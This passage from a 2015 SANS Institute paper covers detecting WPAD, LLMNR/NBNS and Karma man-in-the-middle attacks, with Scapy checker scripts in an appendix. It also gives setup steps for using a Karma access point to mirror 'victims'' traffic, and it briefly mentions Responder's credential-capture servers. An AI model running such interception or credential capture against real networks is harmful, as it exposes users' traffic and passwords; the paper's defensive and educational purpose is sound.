Install tinyproxy (either via apt-get, yum or rpm, depending on your Linux distribution, or via source at https://banu.com/tinyproxy), and edit he configuration in /etc./tinyproxy.conf to add an "Allow x.x.x.x/xx" line, where "x.x.x.x/xx" is the network where victim/clients will be connecting from. Multiple networks can be added to the configuration, as well as some other configuration/alterations you may be interested in.

Once tinyproxy is working, and clients are pushing traffic through it, you can analyze the log to review for domains/URLs that may be problematic: "***grep Request tinyproxy.log | grep GET | cut -d "/" -f 3 | sort | uniq".*** This will output just the unique domain names requested by clients, not the full URL. To simplify the list, you could remove certain domains that you judge to be "known good":

***grep Request tinyproxy.log | grep GET | cut –d "/" –f 3 | ***

sort | uniq | egrep –v ".google.com$|.google-analytics.com$"

At this point, you have a list that you can compare to any lists or services you have access to that catalogs known bad URLs. This can be combined to a single automated script if needed. Domains that are a "hit" can then be cross-referenced in the tinyproxy.log to find the possibly infected victim, as well as the time that the URL was requested and the full URL.

3.3. Karma Attacks: (ab)Use

As discussed, Karma attacks are very popular due to the ease of the attack and the success rates. Another benefit is that all types of traffic from the victim can be analyzed, instead of one type of traffic such as HTTP, although traffic may be partially encrypted. This is desirable not only to attackers, but for anyone needing access to analyze that traffic, regardless of the intentions. Unfortunately, with this "pro", is the "con" that it's obviously limited to wireless devices, but as more and more devices are wireless, that "con" becomes smaller and smaller.

© 2015 The SANS Institute Author retains full rights.

While most Karma frameworks (including the Wi-Fi Pineapple) provide easy to use functionality to alter DNS or web traffic of a victim, the ability to direct a copy of all traffic to another device or program for analysis is perfect for attempting to discover other malware/problems.

This section will only cover data analysis suggestions and makes the following assumptions:

1. You are already familiar with the software/devices you intend to use to perform the Karma attack.

2. That software/device is passing "victims" on to a real Internet connection, so any analysis will be done with the goal of being transparent to the "victims".

3.3.1. Mirroring the Traffic

If using a separate device running OpenWRT (or any variation of a free WRT firmware) or the Wifi Pineapple, there are two methods to copy the traffic. Depending on software versions, the options are port-forwarding or the “tee” module for IPTables.

The first method is port-forwarding (port-mirroring, n.d.). Pre-made packages are available for OpenWRT based systems, as well as instructions for compiling from source. This example was executed on a Wifi Pineapple MK5 running the 2.4.0 firmware:

root@heres_not_here:~# opkg install http://port-mirroring.googlecode.com/files/port-mirroring_1.3-1_12.09_ar71xx.ipk

Downloading http://port-mirroring.googlecode.com/files/port-mirroring_1.3-1_12.09_ar71xx.ipk.

Installing port-mirroring (1.3-1) to root...

Configuring port-mirroring.

Enabling rc.d symlink for port-mirroring

© 2015 The SANS Institute Author retains full rights.

Now, edit the configuration to match your needs. In the following example, all traffic from "wlan0" is mirrored to the "eth0" interface.

vi /etc./config/port_mirroring
config 'port-mirroring'
option "target" 'eth0'
option 'source_ports' 'wlan0'
option filter ''

Then, start the port mirroring service:
root@heres_not_here:~# /etc./init.d/port_mirroring start

If the port-mirroring package is not available due to CPU or system mismatches, another option is using the TEE option with IPTables.

IPTables has included a "TEE" module that allows copying of traffic. Named after the UNIX command with similar behavior, the "TEE" module allows you to define traffic for analysis, pass it on to the final destination/device, and simultaneously push the traffic to another host for analysis (Mackintosh, 2012).

IPTables is supported on most modern Linux implementations, including full desktop/server installs, so this example can work in many places, but please note: the "TEE" module is likely not installed by default on an OpenWRT based install (including the Wifi Pineapple), and should be added:

 # opkg update
; update the package catalog
 # opkg install kmod-iptables-tee
; install the module
; The module may have a different name, such as iptables-mod-tee.

The Example:
; In this example, all traffic in and out of the bridged-interface "br-lan"

David E. Switzer, David.E.Switzer@gmail.com

© 2015 The SANS Institute Author retains full rights.

; that is to or from the 10.1.78.0/24 network is copied to 172.16.78.42,

; which is the sensor/test device.

iptables -A POSTROUTING -t mangle -o br-lan ! -s 10.1.78.0/24 -j TEE --gateway 172.16.78.42

iptables -A PREROUTING -t mangle -i br-lan ! -d 10.1.78.0/24 -j TEE --gateway 172.16.78.42

One big difference between these two methods is the target of the output – port mirroring sends the traffic out of an interface, and TEE sends it destined to a specific IP address. Either of these results can then be analyzed by most IDS-style tools, such as Bro or Snort.

For the purposes analyzing traffic in this example, the decision of what tool to use should be based on availability of code, ease of configuration for the user at their experience level, and hardware it will run on. If the traffic is collected via an OpenWRT device, it is an option to run the IDS directly on the device. Pre-made packages for Snort and Bro-IDS for most system variations are available online.

3.4. Other Attacks / Further down the Rabbit Hole

Man in the middle attacks, for good or evil purposes, are obviously not limited to Karma or Responder attacks. For example, multiple other MITM attacks can be found in the "MITMf" framework (Byt3bl33d3r, n.d.), which also includes Responder support. However, as these attacks and tools deviate further from the examples above, the question of company policy comes back into play.

For example, Responder has support for rogue authentication servers for HTTP, Server Message Block (SMB), Microsoft Structured Query Language (MSSQL), File Transfer Protocol (FTP) and Lightweight Directory Access Protocol (LDAP). These servers can be used to collect encrypted credentials from victims/clients on the network, and crack them to test for weak passwords. If the company had a policy where weak password tests were part of standard penetration tests, or part of general compliance requirements, this example would be viewed in a much more positive light.

© 2015 The SANS Institute Author retains full rights.

Another thing to stress is that different companies have different views on how employee traffic on their network is dealt with. Some of the discussed topics such as URL monitoring via WPAD attacks could qualify as prohibited employee monitoring. It is recommended to confirm what human resource (HR), management and/or legal policies are in place that may govern your actions, and especially with anything that involves using credentials or deep packet inspection.

4. Conclusions

While problems such as company politics slow down or prohibit security teams from performing their best, the same cannot be said for the attackers. Attackers do not have to wait for their access to be granted to get into the environment.

Too often security practitioners get into a nearly rehearsed mindset of how to approach these issues: gaining administrative access everywhere, having a span port to sniff off, and having plenty of tools at the ready that take advantage of these resources. When they do not have access, these security teams get stuck.

This paper reviewed how some common attacks occur and how to detect them manually with very little access or assistance from other internal company teams. As well as demonstrate the use of one or two of the attacks to increase the level of analysis possible without elevated levels of access.

The end goal is to remind security professionals that when they feel they are stuck and unable to move forward, this may not really be the case. They may have more access and ability to find the attackers than they think.

References

Aboba, B., Thaler, D., & Esibov, L. (2007, January). RFC 4795 - Link-local Multicast Name Resolution (LLMNR). Retrieved from https://tools.ietf.org/html/rfc4795

Aleksandersen, D. (2015, October 21). mDNS and DNS-SD slowly making their way into Windows 10. Retrieved from https://www.aeyoun.com/technote/windows-mdns-dnssd.html

David E. Switzer, David.E.Switzer@gmail.com

© 2015 The SANS Institute Author retains full rights.

Biondi, P. (n.d.). Scapy. Retrieved November 24, 2015, from http://www.secdev.org/projects/scapy/

Byt3bl33d3r. (n.d.). MITMf. Retrieved November 4, 2015, from https://github.com/byt3bl33d3r/MITMf

Cheshire, C. & Krochmal, M. (2013, February). RFC 6762 - Multicast DNS. Retrieved from https://tools.ietf.org/html/rfc6762

Cheshire, S., Aboba, B., & Guttman, E. (2005, May). RFC 3927 - Dynamic Configuration of IPv4 Link-Local Addresses. Retrieved from https://tools.ietf.org/html/rfc3927

Dai Zovi, D. (n.d.). KARMA Attacks Radioed Machines Automatically. Retrieved from http://theta44.org/karma/

FindProxyForURL.com. (n.d.). Browser Support. Retrieved from http://findproxyforurl.com/browser-support/

Gauthier, P., Cohen, J., Dunsmuir, M., Perkins, C. (1999, July). INTERNET DRAFT - Web Proxy Auto-Discovery Protocol. Retrieved from https://tools.ietf.org/html/draft-ietf-wrec-wpad-01

Hjelmvik, E. (2012, July 17). WPAD Man in the Middle. Retrieved from http://www.netresec.com/?page=Blog&month=2012-07&post=WPAD-Man-in-the-Middle

Kitchen, D. (n.d.). The Wi-Fi Pineapple is a hot-spot honey-pot. Retrieved from https://hak5.org/pineapple_backup

Kozierok, C. M. (2005, September 30). The TCP/IP Guide - DHCP Parameter Configuration Process For Clients With Non-DHCP Addresses. Retrieved from http://www.tcpipguide.com/free/t_DHCPParameterConfigurationProcessForClientsWithNon-2.htm

Mackintosh, M. (2012, February 6). Packet cloning with iptables. Retrieved from https://www.mikemackintosh.com/packet-cloning-with-iptables/

Microsoft Corporation, How the Windows Update client determines which proxy server to use to connect to the Windows Update Web site. (2011, June 21). Retrieved November 5, 2015, from https://support.microsoft.com/en-us/kb/900935

David E. Switzer, David.E.Switzer@gmail.com

© 2015 The SANS Institute Author retains full rights.

Microsoft Corporation, What's New in WinHTTP 5.1. (n.d.). Retrieved November 20, 2015, from https://msdn.microsoft.com/en-us/library/windows/desktop/aa384086

Poaching. (n.d.). Retrieved from http://dictionary.reference.com/browse/poaching?s=t

port-mirroring - software program for port mirroring. (n.d.). Retrieved from https://code.google.com/p/port-mirroring/

ServiceDefaults.com. (n.d.). HTTP Service Defaults in Windows 10. Retrieved from http://servicedefaults.com/10/http/

ServiceDefaults.com. (n.d.). HTTP Service Defaults in Windows 8. Retrieved from http://servicedefaults.com/8/http/

ServiceDefaults.com. (n.d.). WinHTTP web proxy auto-discovery service (WinHttpAutoProxySvc) defaults in Windows 10. Retrieved from http://servicedefaults.com/10/winhttpautoproxysvc/

SpiderLabs. (n.d.). Responder. Retrieved November 4, 2015, from https://github.com/SpiderLabs/Responder

Symantec Corporation. (n.d.). Attack: SMB sniffer negotiate protocol challenge key 2: attack signature. Retrieved from https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=26956

Vanstechelman, L. (n.d.). Turn off smart multi-homed name resolution | Windows group policy encyclopedia. Retrieved from https://www.vanstechelman.eu/windows-group-policy-encyclopedia/2718dc40b3ecea129213e7eca29b7357/turn-off-smart-multi-homed-name-resolution

Web Proxy Autodiscovery Protocol. (n.d.). Retrieved November 5, 2015, from https://en.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocol

Wood, R. (n.d.). Karma - DigiNinja. Retrieved from https://digi.ninja/karma/

© 2015 SANS Institute, Author retains full rights.

© 2015 The SANS Institute Author retains full rights.

5. Appendix A

The following pages include notes about the test environment used while writing this paper, as well as descriptions and links to all scripts referenced in the paper.

The code is laid out to make it easy to read as well as assist the reader to understand packet construction with Scapy. If you intend to use the code for any reason, it is recommended you check the GitHub repository for the most recent versions.

The scripts are all available at:
https://www.github.com/violentlydave/Poaching

5.1. Lab / Testing notes

The systems used for writing this paper were primarily Linux based, and any virtual machines were operated on an Ubuntu 15.04 host, running Virtualbox v5.0.2 r102096.

The primary software used for this testing is listed in the second table. This is provided in case any problems occur that may be explained by version differences.

Hosts:

IP	Hostname	OS / Hardware
172.16.78.1	heres_not_here	Hak5 Wi-Fi Pineapple MK5 2.4.0
172.16.78.178	angrytoy	Debian 8.0 (Raspbian)
172.16.78.102	dapw	Kali Linux 2.0 [VM]
172.16.78.42	fire	Ubuntu 15.05

Software Versions:

© 2015 The SANS Institute Author retains full rights.

Software	Version	OS
Ubuntu	15.04	N/A
Python	2.7.6	Linux (Ubuntu 15.04)
Scapy (Python Library)	2.3.1	Linux (Ubuntu 15.04)
Virtualbox	V5.0.2 r102096	Linux (Ubuntu 15.04)
WIFI Pineapple MK5	V2.4.0 / MK5	OpenWRT (Linux)
Responder	2.3	Linux (Ubuntu 15.04)

5.2. option252_check.py

This python script uses the Scapy library to send "DHCPINFORM" broadcast messages to see if a WPAD response is returned. This would be a response with a URL in the option 252 area of the DHCP response.

https://github.com/violentlydave/Poaching/blob/master/option252_check.py

```
#!/usr/bin/python
#
# option252_check.py -- sends DHCPINFORM packets to broadcast and shows
# responses.  Used for checking for MITM attempts.
#i@

import argparse,logging,socket,fcntl,struct
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

def get_me_some_args():
    parser = argparse.ArgumentParser(
        description='Script sends out DHCPINFORM option252 broadcast and analyzes responses.')
    parser.add_argument(
```


© 2015 The SANS Institute Author retains full rights.

```
        '-i', '--interface', type=str, help='Network interface', required=True)
    args = parser.parse_args()
    interface = args.interface
    return interface

def get_ip_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915,
struct.pack('256s', ifname[:15]))[20:24])

def get_mac_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    info = fcntl.ioctl(s.fileno(), 0x8927,  struct.pack('256s', ifname[:15]))
    return ':'.join(['%02x' % ord(char) for char in info[18:24]])

interface = get_me_some_args()
hw = interface
conf.iface = interface
my_ip = get_ip_address(interface)
my_mac = get_mac_address(interface)
conf.checkIPaddr = False
option252="\xFC"

print "------------------------------------------------"
print "WPAD: DHCP Option 252 spoof/poison attack checker - d.switzer
2015"
print "------------------------------------------------"
print " "
print "Sending on " + hw

ether  = Ether(dst="ff:ff:ff:ff:ff:ff")
```


© 2015 The SANS Institute Author retains full rights.

```
    ip      = IP(src=my_ip,dst="255.255.255.255")
    udp     = UDP(sport=68,dport=67)
    # note, ciaddr = "desired ip" you're asking for. We default to current IP
but can be different..
    bootp = BOOTP(chaddr=my_mac,ciaddr=my_ip)
    dhcpmsg      = DHCP(options=[("message-type","inform")])
    dhcpopt      = DHCP(options=[("param_req_list",option252), "end"])

    dhcp_inform = ether/ip/udp/bootp/dhcpmsg/dhcpopt
    ans,unans = srp(dhcp_inform,multi=True,timeout=1,verbose=0)

    print "-----------------------------------------------"
    for p in ans:
            print "Response from: " + p[1][Ether].src, p[1][IP].src
            print "-----------------------------------------------"
            print p[1][DHCP].options
```

5.3. nbns_check.py

This Python script uses the Scapy library to send NetBIOS Name Service broadcast messages to attempt to resolve the host "WPAD", then another message trying to resolve a random hostname.

https://github.com/violentlydave/Poaching/blob/master/nbns_check.py

```
    #!/usr/bin/python
    #
    # karma_check.py - d.e.switzer #
ZGF2aWQgZG90IGUgZG90IHN3aXR6ZXIgYXQgdGVoZ21haWx6Cg==
    # - script to send out NetBios-NS broadcasts and check for responses.
    #
```


© 2015 The SANS Institute Author retains full rights.

```
    import argparse,logging,socket,fcntl,struct
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    from scapy.all import *

    __author__ = 'd.e.switzer'

    def get_me_some_args():
      parser = argparse.ArgumentParser(
        description='Script sends out randomized NetBIOS-NS checks and
analyzes any responses.')
      parser.add_argument(
        '-i', '--interface', type=str, help='Network interface', required=True)
      args = parser.parse_args()
      interface = args.interface
      return interface

    interface = get_me_some_args()
    hw = interface
    conf.iface = interface
    conf.checkIPaddr = False

    # fo sho?  def.
    def randomstuff(length):
        return ''.join(random.choice(string.lowercase) for i in
range(length))

    def get_ip_address(ifname):
      s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915,
struct.pack('256s', ifname[:15]))[20:24])
```


© 2015 The SANS Institute Author retains full rights.

```
    print "----------------------------------------------"
    print "NBNS spoof/poison attack checker - d.switzer 2015"
    print "----------------------------------------------"
    print "Sending on " + hw

    #let's build some packets.. ok, one packet.
    nsquery = "WPAD"
    myip   = get_ip_address(hw)
    ether  = Ether(dst='ff:ff:ff:ff:ff:ff')
    ip     = IP(src=myip, dst='255.255.255.255')
    udp    = UDP(sport=137, dport=137)
    nbns   = NBNSQueryRequest(SUFFIX="file server
service",QUESTION_NAME=nsquery, QUESTION_TYPE='NB')
    nbnsquery = ether/ip/udp/nbns

    print "----------------------------------------------"
    print "Checking for WPAD via NBNS broadcast.."
    print "----------------------------------------------"
    ans,unans = srp(nbnsquery,multi=True,timeout=1,verbose=0)

    for p in ans:
        print p[1][Ether].src, p[1][IP].src
        print "----------------------------------------------"
    print ans

    # now a random "question" name.
    nsquery = randomstuff(16)
    print "----------------------------------------------"
    print "Checking for random (" + nsquery + ") hostname via NBNS
broadcast.."
    print "----------------------------------------------"
```


© 2015 The SANS Institute Author retains full rights.

```
    nbns = NBNSQueryRequest(SUFFIX="file server
service",QUESTION_NAME=nsquery, QUESTION_TYPE='NB')
    nbnsquery = ether / ip / udp / nbns
    ans,unans = srp(nbnsquery,multi=True,timeout=1,verbose=0)
    for p in ans:
        print p[1][Ether].src, p[1][IP].src
        print "-----------------------------------------------"
    print ans
```

5.4. llmnr_mdns_check.py

This Python script uses the Scapy library to send LLMNR and mDNS broadcast messages, first to try to resolve the host "WPAD", then another message trying to resolve a random hostname.

https://github.com/violentlydave/Poaching/blob/master/llmnr_mdns_check.py

```
    #!/usr/bin/python
    #
    # llmnr_mdns_check.py - d.e.switzer #
ZGF2aWQgZG90IGUgZG90IHN3aXR6ZXIgYXQgdGVoZ21haWx6Cg==
    # - Python/Scapy script to test for responses to broadcasted LLMNR and
mDNS packets.
    #

    import argparse,logging,socket,fcntl,struct
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
    from scapy.all import *
    from scapy.layers.dns import DNSRR, DNS, DNSQR

    __author__ = 'd.e.switzer'
```


© 2015 The SANS Institute Author retains full rights.

```
    def get_me_some_args():
      parser = argparse.ArgumentParser(
        description='Script sends out LLMNR and mDNS broadcast, and
analyzes the responses.')
      parser.add_argument(
        '-i', '--interface', type=str, help='Wifi interface', required=True)
      args = parser.parse_args()
      interface = args.interface
      return interface

    interface = get_me_some_args()
    hw = interface
    conf.iface = interface
    conf.checkIPaddr = False

    # fo sho?  def.
    def randomstuff(length):
        return ''.join(random.choice(string.lowercase) for i in
range(length))

    def get_ip_addy(ifname):
      s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915,
struct.pack('256s', ifname[:15]))[20:24])

    def get_mac_addy(ifname):
      s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
      info = fcntl.ioctl(s.fileno(), 0x8927,  struct.pack('256s', ifname[:15]))
      return ':'.join(['%02x' % ord(char) for char in info[18:24]])

    my_ip = get_ip_addy(hw)
```


© 2015 The SANS Institute Author retains full rights.

© 2015 SANS Institute, Author retains full rights.

```
my_mac = get_mac_addy(hw)
my_query = 'wpad'
my_qtype = 'A'
queryid = random.getrandbits(16)
# standard broadcast for LLMNR and mDNS
llmnr_target_ip = '224.0.0.252'
llmnr_target_mac = '01:00:5E:00:00:FC'
mdns_target_ip = '224.0.0.251'
mdns_target_mac = '01:00:5E:00:00:FB'

print "----------------------------------------------"
print "LLMNR/mDNS poison/attack checker - d.switzer 2015"
print "----------------------------------------------"
print "Sending on " + hw
print ""
print "----------------------------------------------"
print "Sending LLMNR request for " + my_query + " .."
ethernet = Ether(src=my_mac,dst=llmnr_target_mac)
ip = IP(src=my_ip,dst=llmnr_target_ip)
udp = UDP(sport=5355,dport=5355)
llmnr = LLMNRQuery()
llmnr.id = queryid
llmnr.qr = 0
llmnr.opcode = 0
llmnr.qdcount = 1
llmnr.qd = DNSQR(qname=my_query,qtype=my_qtype)
pkt = ethernet/ip/udp/llmnr
ans,unans=srp(pkt,multi=True,verbose=0,timeout=1)
for p in ans:
    print "----------------------------------------------"
    print "Response from: " + p[1][Ether].src, p[1][IP].src
```


© 2015 The SANS Institute Author retains full rights.

```
        print "-----------------------------------------------"
    print ans
    print unans

    my_query = randomstuff(16)
    print "-----------------------------------------------"
    print "Sending LLMNR request for random host (" + my_query + ") .."
    ethernet = Ether(src=my_mac,dst=llmnr_target_mac)
    ip = IP(src=my_ip,dst=llmnr_target_ip)
    udp = UDP(sport=5355,dport=5355)
    llmnr = LLMNRQuery()
    llmnr.id = queryid
    llmnr.qr = 0
    llmnr.opcode = 0
    llmnr.qdcount = 1
    llmnr.qd = DNSQR(qname=my_query,qtype=my_qtype)
    pkt = ethernet/ip/udp/llmnr
    ans,unans=srp(pkt,multi=True,verbose=0,timeout=1)
    for p in ans:
        print "-----------------------------------------------"
        print "Response from: " + p[1][Ether].src, p[1][IP].src
        print "-----------------------------------------------"
    print ans
    print unans
    print ""


    ##########################################################
##############

    #reset a thing or so..
```


© 2015 The SANS Institute Author retains full rights.

```
my_query = "wpad"

print "----------------------------------------------"
print "Sending mDNS request for " + my_query + ".."
ethernet = Ether(src=my_mac,dst=mdns_target_mac)
ip = IP(src=my_ip,dst=mdns_target_ip)
udp = UDP(sport=5353,dport=5353)
dns = DNS()
dns.id = queryid
dns.qr = 0
dns.opcode = 0
dns.qdcount = 1
dns.rq = 0
dns.qd = DNSQR(qname=my_query,qtype=my_qtype)
pkt=ethernet/ip/udp/dns
ans,unans=srp(pkt,multi=True,verbose=0,timeout=1)
for p in ans:
    print "----------------------------------------------"
    print "Response from: " + p[1][Ether].src, p[1][IP].src
    print "----------------------------------------------"
print ans
print unans

my_query = randomstuff(16)
print "----------------------------------------------"
print "Sending mDNS request for random host (" + my_query + ") .."
ethernet = Ether(src=my_mac,dst=mdns_target_mac)
ip = IP(src=my_ip,dst=mdns_target_ip)
udp = UDP(sport=5353,dport=5353)
dns = DNS()
dns.id = queryid
```


© 2015 The SANS Institute Author retains full rights.

```
dns.qr = 0
dns.opcode = 0
dns.qdcount = 1
dns.rq = 0
dns.qd = DNSQR(qname=my_query,qtype=my_qtype)
pkt=ethernet/ip/udp/dns
ans,unans=srp(pkt,multi=True,verbose=0,timeout=1)
for p in ans:
    print "------------------------------------------------"
    print "Response from: " + p[1][Ether].src, p[1][IP].src
    print "------------------------------------------------"
print ans
print unans
```

5.5. karma_check.py

This Python script uses the Scapy library to send out 802.11 Probe Request packets from multiple MAC addresses set up to look like a variety of cell phones looking for a known wifi network. It loops through the list of MAC addresses and each one requests a unique random 32bit long SSID. Each MAC address is set so the last 4 bits are uniform to allow the tester to watch for the packets and any responses via “Tshark” or “TCPdump”.

https://github.com/violentlydave/Poaching/blob/master/karma_check.py

```
#!/usr/bin/env python
#
# karma_check.py - d.e.switzer
# ZGF2aWQgZG90IGUgZG90IHN3aXR6ZXIgYXQgdGVoZ21haWx6Cg==
# - test to send out random probes from various brand MAC addresses.
#
#
# - Phones w/ url were found via Youtube
```

David E. Switzer, David.E.Switzer@gmail.com

© 2015 The SANS Institute Author retains full rights.

```
# - Phones w/ initials were found via personal contact.  Assume
#   cell purchased in, and used on a provider located in the United States.
#
#dev#Motorola Moto G#14:30:C6:B2:XX:XX#
https://youtube/watch?v=6FbpDBbw1x4
#dev#Motorola Moto E#90:68:C3:30:XX:XX#- D.E.
#dev#Moto X (2014)#60:BE:B5:83:XX:XX#- D.E.
#dev#Samsung S5#F0:25:B7:C3:XX:XX# https://youtube/watch?v=ePZVq-
UWjtE
#dev#Samsung S4#10:A5:D0:FA:XX:XX#- J.E.
#dev#Samsung S6#E8:50:8B:40:XX:XX# https://youtube/watch?v=VVAbU6n-
BdE
#dev#Samsung Galaxy Note2#38:AA:3c:FD:XX:XX #- K.S.
#dev#Apple iPhone 5c#68:AE:20:1F:XX:XX#- K.S.
#dev#Apple iPhone 5s#F0:CB:A1:D2:XX:XX#
https://youtube/watch?v=eKdYhZgwwes
#dev#Apple iPhone 6#70:3E:AC:55:XX:XX#- A.O.
#dev#Apple iPhone 6 Plus#20:A2:E4:35:XX:XX#
https://youtube/watch?v=ee8y5MiY4_8
#dev#Apple iPhone 6 Plus#FC:e9:98:BB:XX:XX#- K.S.
#dev#Nexus 5x#64:BC:0C:51:XX:XX#- C.M.
#dev#Nexus 6#F8:CF:C5:D2:XX:XX#- K.S.
#dev#Apple iPhone 6#F4:37:B7:D1:XX:XX#- J.P.

import argparse, random, string, logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *

__author__ = 'd.e.switzer'

def get_me_some_args():
```


© 2015 The SANS Institute Author retains full rights.

```
  parser = argparse.ArgumentParser(
    description='Script sends out randomized 802.11 probe requests.')
  parser.add_argument(
    '-i', '--interface', type=str, help='Wifi interface', required=True)
  parser.add_argument(
    '-m', '--moninterface', type=str, help='Wifi monitor interface',
required=False, default='mon0')
  parser.add_argument(
    '-c', '--channel', type=str, help='Channel #', required=False, default='11')
  parser.add_argument(
    '-t', '--tag', type=str, help='Tag to search for in MAC address',
required=False, default='62:82')
  args = parser.parse_args()
  interface = args.interface
  moninterface = args.moninterface
  channel = args.channel
  tag = args.tag
  return interface,moninterface,channel,tag

interface,moninterface,channel,tag = get_me_some_args()

SSID = ''
conf.iface = interface
int = interface
hw = interface
mac = ''
macs = ['14:30:C6','90:68:C3','60:BE:B5', 'F0:25:B7', '10:A5:D0', 'E8:50:8B',
'38:AA:3C', '68:AE:20', 'F0:CB:A1', '70:3E:AC', '20:A2:E4', 'FC:E9:98', '64:BC:0C',
'F4:37:B7', '4e:4f:54', '53:4f:42', '52:49:47', '48:54:41', '4e:59:4d', '4f:52:45']

def randomssid(length):
```


© 2015 The SANS Institute Author retains full rights.

```
    return ''.join(random.choice(string.lowercase) for i in range(length))

class Scapy80211():
  def __init__(self,intf=int,ssid=SSID,source=mac,bssid='ff:ff:ff:ff:ff:ff'):
   self.rates = "\x03\x12\x96\x18\x24\x30\x48\x60"
   self.ssid   = ssid
   self.source  = source
   self.bssid   = bssid
   self.intf    = intf
   self.intfmon = 'mon0'
   conf.iface   = self.intfmon

   # create monitor interface using iw
   cmd = '/sbin/iw dev %s interface add %s type monitor >/dev/null 2>&1' \
    % (self.intf, self.intfmon)
   cmdintup = '/sbin/ifconfig %s up > /dev/null 2>&1' % (self.intfmon)
   try:
    os.system(cmd)
        os.system(cmdintup)
   except:
    raise

  def ProbeReq(self,count=1,ssid=SSID,dst='ff:ff:ff:ff:ff:ff'):
   if not ssid: ssid=self.ssid
   param =   Dot11ProbeReq()
   essid =    Dot11Elt(ID='SSID',info=ssid)
   rate1 =    "\x02\x04\x0b\x16"
   rate2 =    "\x82\x84\x0b\x16\x24\x30\x48\x6c"
   rate3 =    "\x03\x12\x96\x18\x24\x30\x48\x60"
   rate4 =    "\x82\x84\x8b\x96\x12\x24\x48\x6c"
   rates =    Dot11Elt(ID='Rates',info=rate4)
```


© 2015 The SANS Institute Author retains full rights.

```
    dsset =      Dot11Elt(ID='DSset',info=chr(1))
    erpinfo = Dot11Elt(ID='ERPinfo',info='\x00')
    esrates =  Dot11Elt(ID='ESRates',info='\x0c\x18\x30\x60')
    tim =        Dot11Elt(ID='TIM',info='\x00\x01\x00\x00')

# Vendor specific extras.  Modeled after a Realtek device.  Add
# "/vendor" to the "pkt" definition below if you'd like to use them.
#
# These values are easy to find in WireShark under the "tagged options" for
# a wireless packet, and the variables below are named to be close or identical
# to how they are named in WireShark.
#
    uuidr =
        "\x10\x48\x00\x10\x52\x61\x6c\x69\x6e\x6b\x57\x50\x53\x2d\xa
c\x81\x12\xa1\xa3\x74"
    primarydevtype =
        "\x10\x54\x00\x08\x00\x01\x00\x50\xf2\x04\x00\x01"
    rfbands = "\x10\x3c\x00\x01\x01"
    assocstate =       "\x10\x02\x00\x02\x00\x00"
    configerror  =     "\x10\x09\x00\x02\x00\x00"
    devicepassid =    "\x10\x12\x00\x02\x00\x00"
    devicename =
        "\x10\x11\x00\x0d\x52\x61\x6c\x69\x6e\x6b\x20\x43\x6c\x69\x6
5\x6e\x74"
    manufacturer =
        "\x10\x21\x00\x18\x52\x61\x6c\x69\x6e\x6b\x20\x54\x65\x63\x6
8\x6e\x6f\x6c\x6f\x67\x79\x2c\x20\x43\x6f\x72\x70\x2e"
    modelname =
        "\x10\x23\x00\x17\x52\x62\x6c\x6e\x6b\x20\x57\x69\x72\x65\x6
c\x65\x73\x73\x20\x41\x64\x61\x70\x74\x65\x72\x10"
    modelnum =       "\x10\x24\x00\x06\x52\x54\x32\x38\x30\x30"
```

David E. Switzer, David.E.Switzer@gmail.com

© 2015 The SANS Institute Author retains full rights.

```
    vendorextension = "\x10\x49\x00\x06\x00\x37\x2a\x00\x01\x20"
    hdcap =
        "\x2d\x1a\x6e\x01\x02\xff\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00"
    hdcap2 =
        "\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00"
    extendedcap =    "\x7f\x01\x01"
    vendor =
        Dot11Elt(ID=221,len=167,info="\x00\x50\xf2\x04\x10\x4a" +
                "\x00\x01\x10\x10" + "\x3a\x00" + "\x01\x00\x10\x08" +
"\x00\x02" + "\x22\x8c" +
                        uuidr + primarydevtype + rfbands + assocstate +
configerror + devicepassid + devicename +
                        manufacturer + modelname + modelnum +
vendorextension +hdcap + hdcap2 + extendedcap)

    pkt = RadioTap()\

/Dot11(type=0,subtype=4,addr1=dst,addr2=self.source,addr3=self.bssid)\
     /param/essid/rates/esrates/tim

    print 'ProbeReq: SSID=[%s]|src=[%s]|count=%d' % (ssid,self.source,count)
    try:
     sendp(pkt,count=count,inter=0.1,verbose=0)
    except:
     raise

print "----------------------------------------------"
print "Karma checker - 802.11 probe sender - d.switzer2015"
print "  * Based on code by Joff Thyer 2014"
print "  * Any credit is his, any blame is mine."
```

David E. Switzer, David.E.Switzer@gmail.com

© 2015 The SANS Institute Author retains full rights.

```
print "-----------------------------------------------"
print " Note: the channel option only sets the 4th pair in the"
print "       MAC address, simply to show what channel that"
print "       broadcast was on if hopping around channels."
print "       on if hopping around channels."
print "       The tag option just sets the 5th and 6th pair in the"
print "       MAC, so  you can search for that in a packet dump even"
print "       if the channel field is changed."
print "-----------------------------------------------"
print "Sending probe requests via " + hw + "..."
print "-----------------------------------------------"
for mac in macs:
        yay = ":"
        seq = (mac, channel, tag)
        testmac = yay.join ( seq )
#       SSID = "i appear missing"
        SSID = randomssid(32)
        sdot11 = Scapy80211(intf=int,source=testmac,ssid=SSID)
        packet = sdot11.ProbeReq()
```

5.6. channel_hopper.sh

This BASH script is a simple for-loop that loops through changing the channel on a specified wlan interface, and then running a program on each ("karma_check.py" in this case).

https://github.com/violentlydave/Poaching/blob/master/channel_hopper.sh

```
#!/bin/bash
#
# Simple script to change channels on interfaces while
# running wifi tests. - d.switzer 2015
# ZGF2aWQgZG90IGUgZG90IHN3aXR6ZXIgYXQgdGVoZ21haWx6Cg==
```


© 2015 The SANS Institute Author retains full rights.

```
#
# North America uses Channels 1 - 11 (2412 - 2462Mhz center channels w/
22Mhz width)
# Japan uses Channels 1 - 14 (14 only for 802.11b - 2412 - 2484 Mhz
centerchannels w/ 22mhz width)
# Majority of the rest of the world uses Channels 1 - 13 (2412 - 2472Mhz
center channels w/ 22mhz width)
#
